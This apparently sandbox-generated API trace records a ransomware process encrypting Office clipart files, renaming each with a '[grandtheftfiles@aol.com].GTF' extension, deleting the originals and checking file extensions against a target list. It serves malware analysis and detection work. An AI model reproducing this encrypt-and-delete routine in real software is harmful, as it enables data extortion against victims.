	[0081.078] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=6632) returned 1
	[0081.078] CloseHandle (hObject=0x37c) returned 1
	[0081.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf")) returned 0x220
	[0081.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0081.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0081.080] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.080] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0081.080] GetLastError () returned 0x0
	[0081.080] ReadFile (in: hFile=0x2d4, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x19e8, lpOverlapped=0x0) returned 1
	[0081.087] WriteFile (in: hFile=0x374, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x19f0, lpOverlapped=0x0) returned 1
	[0081.088] ReadFile (in: hFile=0x2d4, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.088] WriteFile (in: hFile=0x374, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0081.088] SetEndOfFile (hFile=0x374) returned 1
	[0081.088] CloseHandle (hObject=0x374) returned 1
	[0081.089] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.090] SetEndOfFile (hFile=0x2d4) returned 1
	[0081.091] CloseHandle (hObject=0x2d4) returned 1
	[0081.091] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0081.091] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf")) returned 1
	[0081.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68
	[0081.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68
	[0081.091] lstrlenW (lpString=".doc") returned 4
	[0081.091] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.091] lstrlenW (lpString=".docx") returned 5
	[0081.091] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.091] lstrlenW (lpString=".pdf") returned 4
	[0081.091] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.091] lstrlenW (lpString=".xls") returned 4
	[0081.091] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.091] lstrlenW (lpString=".xlsx") returned 5
	[0081.091] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.091] lstrlenW (lpString=".ppt") returned 4
	[0081.091] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68
	[0081.092] lstrlenW (lpString=".zip") returned 4
	[0081.092] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.092] lstrlenW (lpString=".rar") returned 4
	[0081.092] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.092] lstrlenW (lpString=".bz2") returned 4
	[0081.092] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.092] lstrlenW (lpString=".7z") returned 3
	[0081.092] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68
	[0081.092] lstrlenW (lpString=".dbf") returned 4
	[0081.092] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68
	[0081.092] lstrlenW (lpString=".1cd") returned 4
	[0081.092] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68
	[0081.092] lstrlenW (lpString=".jpg") returned 4
	[0081.092] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68
	[0081.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68
	[0081.092] lstrlenW (lpString=".doc") returned 4
	[0081.092] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.092] lstrlenW (lpString=".docx") returned 5
	[0081.092] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.092] lstrlenW (lpString=".pdf") returned 4
	[0081.092] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.092] lstrlenW (lpString=".xls") returned 4
	[0081.092] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.092] lstrlenW (lpString=".xlsx") returned 5
	[0081.092] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.092] lstrlenW (lpString=".ppt") returned 4
	[0081.092] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68
	[0081.092] lstrlenW (lpString=".zip") returned 4
	[0081.092] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.092] lstrlenW (lpString=".rar") returned 4
	[0081.092] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.092] lstrlenW (lpString=".bz2") returned 4
	[0081.093] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.093] lstrlenW (lpString=".7z") returned 3
	[0081.093] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68
	[0081.093] lstrlenW (lpString=".dbf") returned 4
	[0081.093] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68
	[0081.093] lstrlenW (lpString=".1cd") returned 4
	[0081.093] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68
	[0081.093] lstrlenW (lpString=".jpg") returned 4
	[0081.093] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.093] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0081.093] lstrlenW (lpString="AN02724_.WMF") returned 12
	[0081.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0081.093] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=2108) returned 1
	[0081.093] CloseHandle (hObject=0x2d4) returned 1
	[0081.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf")) returned 0x220
	[0081.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0081.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0081.094] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.094] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0081.094] GetLastError () returned 0x0
	[0081.094] ReadFile (in: hFile=0x2d4, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x83c, lpOverlapped=0x0) returned 1
	[0081.663] WriteFile (in: hFile=0x374, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x840, lpOverlapped=0x0) returned 1
	[0081.664] ReadFile (in: hFile=0x2d4, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.664] WriteFile (in: hFile=0x374, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0081.665] SetEndOfFile (hFile=0x374) returned 1
	[0081.665] CloseHandle (hObject=0x374) returned 1
	[0081.666] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.666] SetEndOfFile (hFile=0x2d4) returned 1
	[0081.667] CloseHandle (hObject=0x2d4) returned 1
	[0081.667] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0081.668] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf")) returned 1
	[0081.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68
	[0081.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68
	[0081.668] lstrlenW (lpString=".doc") returned 4
	[0081.668] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.668] lstrlenW (lpString=".docx") returned 5
	[0081.668] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.668] lstrlenW (lpString=".pdf") returned 4
	[0081.668] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.668] lstrlenW (lpString=".xls") returned 4
	[0081.668] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.668] lstrlenW (lpString=".xlsx") returned 5
	[0081.668] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.668] lstrlenW (lpString=".ppt") returned 4
	[0081.668] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68
	[0081.668] lstrlenW (lpString=".zip") returned 4
	[0081.668] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.668] lstrlenW (lpString=".rar") returned 4
	[0081.668] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.668] lstrlenW (lpString=".bz2") returned 4
	[0081.668] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.668] lstrlenW (lpString=".7z") returned 3
	[0081.668] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68
	[0081.669] lstrlenW (lpString=".dbf") returned 4
	[0081.669] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68
	[0081.669] lstrlenW (lpString=".1cd") returned 4
	[0081.669] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68
	[0081.669] lstrlenW (lpString=".jpg") returned 4
	[0081.669] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68
	[0081.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68
	[0081.669] lstrlenW (lpString=".doc") returned 4
	[0081.669] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.669] lstrlenW (lpString=".docx") returned 5
	[0081.669] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.669] lstrlenW (lpString=".pdf") returned 4
	[0081.669] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.669] lstrlenW (lpString=".xls") returned 4
	[0081.669] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.669] lstrlenW (lpString=".xlsx") returned 5
	[0081.669] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.669] lstrlenW (lpString=".ppt") returned 4
	[0081.669] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68
	[0081.669] lstrlenW (lpString=".zip") returned 4
	[0081.669] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.669] lstrlenW (lpString=".rar") returned 4
	[0081.669] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.669] lstrlenW (lpString=".bz2") returned 4
	[0081.669] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.670] lstrlenW (lpString=".7z") returned 3
	[0081.670] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68
	[0081.670] lstrlenW (lpString=".dbf") returned 4
	[0081.670] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68
	[0081.670] lstrlenW (lpString=".1cd") returned 4
	[0081.670] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68
	[0081.670] lstrlenW (lpString=".jpg") returned 4
	[0081.670] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.670] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0081.670] lstrlenW (lpString="AN04267_.WMF") returned 12
	[0081.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0081.670] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=7804) returned 1
	[0081.670] CloseHandle (hObject=0x2d4) returned 1
	[0081.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf")) returned 0x220
	[0081.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0081.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0081.671] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.671] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0081.671] GetLastError () returned 0x0
	[0081.671] ReadFile (in: hFile=0x2d4, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x1e7c, lpOverlapped=0x0) returned 1
	[0081.673] WriteFile (in: hFile=0x374, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x1e80, lpOverlapped=0x0) returned 1
	[0081.674] ReadFile (in: hFile=0x2d4, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.674] WriteFile (in: hFile=0x374, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0081.674] SetEndOfFile (hFile=0x374) returned 1
	[0081.674] CloseHandle (hObject=0x374) returned 1
	[0081.675] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.675] SetEndOfFile (hFile=0x2d4) returned 1
	[0081.676] CloseHandle (hObject=0x2d4) returned 1
	[0081.676] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0081.676] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf")) returned 1
	[0081.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68
	[0081.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68
	[0081.677] lstrlenW (lpString=".doc") returned 4
	[0081.677] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.677] lstrlenW (lpString=".docx") returned 5
	[0081.677] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.677] lstrlenW (lpString=".pdf") returned 4
	[0081.677] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.677] lstrlenW (lpString=".xls") returned 4
	[0081.677] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.677] lstrlenW (lpString=".xlsx") returned 5
	[0081.677] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.677] lstrlenW (lpString=".ppt") returned 4
	[0081.677] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68
	[0081.677] lstrlenW (lpString=".zip") returned 4
	[0081.677] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.677] lstrlenW (lpString=".rar") returned 4
	[0081.677] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.677] lstrlenW (lpString=".bz2") returned 4
	[0081.677] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.677] lstrlenW (lpString=".7z") returned 3
	[0081.677] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68
	[0081.677] lstrlenW (lpString=".dbf") returned 4
	[0081.677] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68
	[0081.678] lstrlenW (lpString=".1cd") returned 4
	[0081.678] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68
	[0081.678] lstrlenW (lpString=".jpg") returned 4
	[0081.678] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68
	[0081.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68
	[0081.678] lstrlenW (lpString=".doc") returned 4
	[0081.678] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.678] lstrlenW (lpString=".docx") returned 5
	[0081.678] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.678] lstrlenW (lpString=".pdf") returned 4
	[0081.678] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.678] lstrlenW (lpString=".xls") returned 4
	[0081.678] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.678] lstrlenW (lpString=".xlsx") returned 5
	[0081.678] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.678] lstrlenW (lpString=".ppt") returned 4
	[0081.678] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68
	[0081.678] lstrlenW (lpString=".zip") returned 4
	[0081.678] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.679] lstrlenW (lpString=".rar") returned 4
	[0081.679] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.679] lstrlenW (lpString=".bz2") returned 4
	[0081.679] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.679] lstrlenW (lpString=".7z") returned 3
	[0081.679] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68
	[0081.679] lstrlenW (lpString=".dbf") returned 4
	[0081.679] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68
	[0081.679] lstrlenW (lpString=".1cd") returned 4
	[0081.679] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68
	[0081.679] lstrlenW (lpString=".jpg") returned 4
	[0081.679] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.679] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0081.679] lstrlenW (lpString="AN04269_.WMF") returned 12
